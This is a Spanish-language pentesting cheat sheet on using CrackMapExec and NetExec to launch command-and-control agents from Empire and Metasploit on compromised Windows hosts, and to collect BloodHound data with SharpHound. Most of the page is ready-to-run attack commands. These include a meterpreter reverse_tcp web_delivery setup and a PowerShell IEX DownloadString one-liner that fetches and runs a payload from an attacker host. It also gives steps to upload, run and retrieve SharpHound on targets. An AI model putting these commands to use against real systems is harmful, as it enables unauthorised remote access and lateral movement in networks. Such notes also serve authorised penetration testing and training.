Skip to content

Getting Sessions in a C2 Framework

CME/NXC permite integrar C2 frameworks directamente ejecutando agentes en los targets comprometidos. Soporta Empire y Metasploit de forma nativa mediante módulos, y cualquier otro C2 mediante ejecución de comandos.

Links: CrackMapExec Wiki | NetExec Docs | PowerShell Empire | Empire Docs | Metasploit Framework


Empire

Configurar CME para conectarse a Empire

Editar ~/.cme/cme.conf con las credenciales del servidor Empire:

ini
[Empire]
api_host = 127.0.0.1
api_port = 1337
username = <usuario_empire>
password = <password_empire>

Módulo empire_exec

Una vez Empire tiene un listener activo, usar el módulo para ejecutar el agente en el target.

bash
# CrackMapExec
crackmapexec smb <IP> -u <user> -p '<password>' -M empire_exec -o LISTENER=<nombre_listener>

# NetExec
netexec smb <IP> -u <user> -p '<password>' -M empire_exec -o LISTENER=<nombre_listener>

Metasploit

Configurar web_delivery en Metasploit

bash
msfconsole
use exploit/multi/script/web_delivery
set SRVHOST <IP_ATACANTE>
set SRVPORT <PUERTO>
set target 2
set payload windows/x64/meterpreter/reverse_tcp
set LHOST <IP_ATACANTE>
set LPORT <PUERTO_CALLBACK>
run -j

Metasploit devuelve una URL tipo http://<IP>:<PUERTO>/<path> para usar en CME.

Módulo web_delivery

bash
# Ver opciones
crackmapexec smb -M web_delivery --options
netexec smb -M web_delivery --options

# Ejecutar
crackmapexec smb <IP> -u <user> -p '<password>' -M web_delivery -o URL=http://<IP_ATACANTE>:<PUERTO>/<path>
netexec smb <IP> -u <user> -p '<password>' -M web_delivery -o URL=http://<IP_ATACANTE>:<PUERTO>/<path>

# Para payload 32 bits (default es 64)
crackmapexec smb <IP> -u <user> -p '<password>' -M web_delivery -o URL=<URL> PAYLOAD=32
netexec smb <IP> -u <user> -p '<password>' -M web_delivery -o URL=<URL> PAYLOAD=32

Otros C2 Frameworks

Para cualquier C2 que genere un payload PowerShell, usar -X con --no-output para ejecutarlo en background:

bash
# Ejecutar payload PS en background
crackmapexec smb <IP> -u <user> -p '<password>' -X '<payload_powershell>' --no-output
netexec smb <IP> -u <user> -p '<password>' -X '<payload_powershell>' --no-output

# Ejemplo: descargar y ejecutar desde servidor web
crackmapexec smb <IP> -u <user> -p '<password>' -X "IEX(New-Object Net.WebClient).DownloadString('http://<IP_ATACANTE>/payload.ps1')" --no-output
netexec smb <IP> -u <user> -p '<password>' -X "IEX(New-Object Net.WebClient).DownloadString('http://<IP_ATACANTE>/payload.ps1')" --no-output

BloodHound Integration

CME puede integrarse con BloodHound para marcar automáticamente usuarios y computadoras como owned en la base de datos neo4j cada vez que se comprometen. También permite recolectar datos de BloodHound usando SharpHound.

Links: CrackMapExec Wiki | NetExec Docs | BloodHound | BloodHound Docs | SharpHound


Configurar integración con BloodHound

Editar ~/.cme/cme.conf habilitando BloodHound y apuntando a la base de datos neo4j:

ini
[BloodHound]
bh_enabled = True
bh_uri = 127.0.0.1
bh_port = 7687
bh_user = neo4j
bh_pass = <password_neo4j>

Con esto activo, cada vez que CME comprometa un usuario mostrará Node X@DOMAIN successfully set as owned in BloodHound.

Nota: No todas las opciones de CME sincronizan con BloodHound. --ntds y --lsa no marcan usuarios. Los módulos procdump, lsassy y similares sí marcan usuarios como owned.


Recolectar datos con SharpHound

bash
# Descargar SharpHound
wget https://github.com/BloodHoundAD/BloodHound/raw/master/Collectors/SharpHound.exe

# Subir al target
crackmapexec smb <IP> -u <user> -p '<password>' --put-file SharpHound.exe SharpHound.exe
netexec smb <IP> -u <user> -p '<password>' --put-file SharpHound.exe SharpHound.exe

# Ejecutar y listar el zip generado
crackmapexec smb <IP> -u <user> -p '<password>' -x "C:\SharpHound.exe -c All && dir c:\*_BloodHound.zip"
netexec smb <IP> -u <user> -p '<password>' -x "C:\SharpHound.exe -c All && dir c:\*_BloodHound.zip"

# Descargar el zip resultante
crackmapexec smb <IP> -u <user> -p '<password>' --get-file <nombre>.zip bloodhound.zip
netexec smb <IP> -u <user> -p '<password>' --get-file <nombre>.zip bloodhound.zip

Marcar usuarios como owned automáticamente

Con bh_enabled = True en la config, cualquier autenticación exitosa marca al usuario como owned:

bash
crackmapexec smb <IP> -u <user> -p '<password>'
netexec smb <IP> -u <user> -p '<password>'

Marcar computadoras como owned - Módulo bh_owned

La integración automática solo marca usuarios. Para marcar computadoras usar el módulo bh_owned.

bash
# Ver opciones
crackmapexec smb -M bh_owned --options
netexec smb -M bh_owned --options

# Marcar computadora como owned
crackmapexec smb <IP> -u <user> -p '<password>' -M bh_owned -o PASS=<password_neo4j>
netexec smb <IP> -u <user> -p '<password>' -M bh_owned -o PASS=<password_neo4j>

# Opciones disponibles
# URI  — IP de la base de datos neo4j (default: 127.0.0.1)
# PORT — Puerto de neo4j (default: 7687)
# USER — Usuario de neo4j (default: neo4j)
# PASS — Contraseña de neo4j (default: neo4j)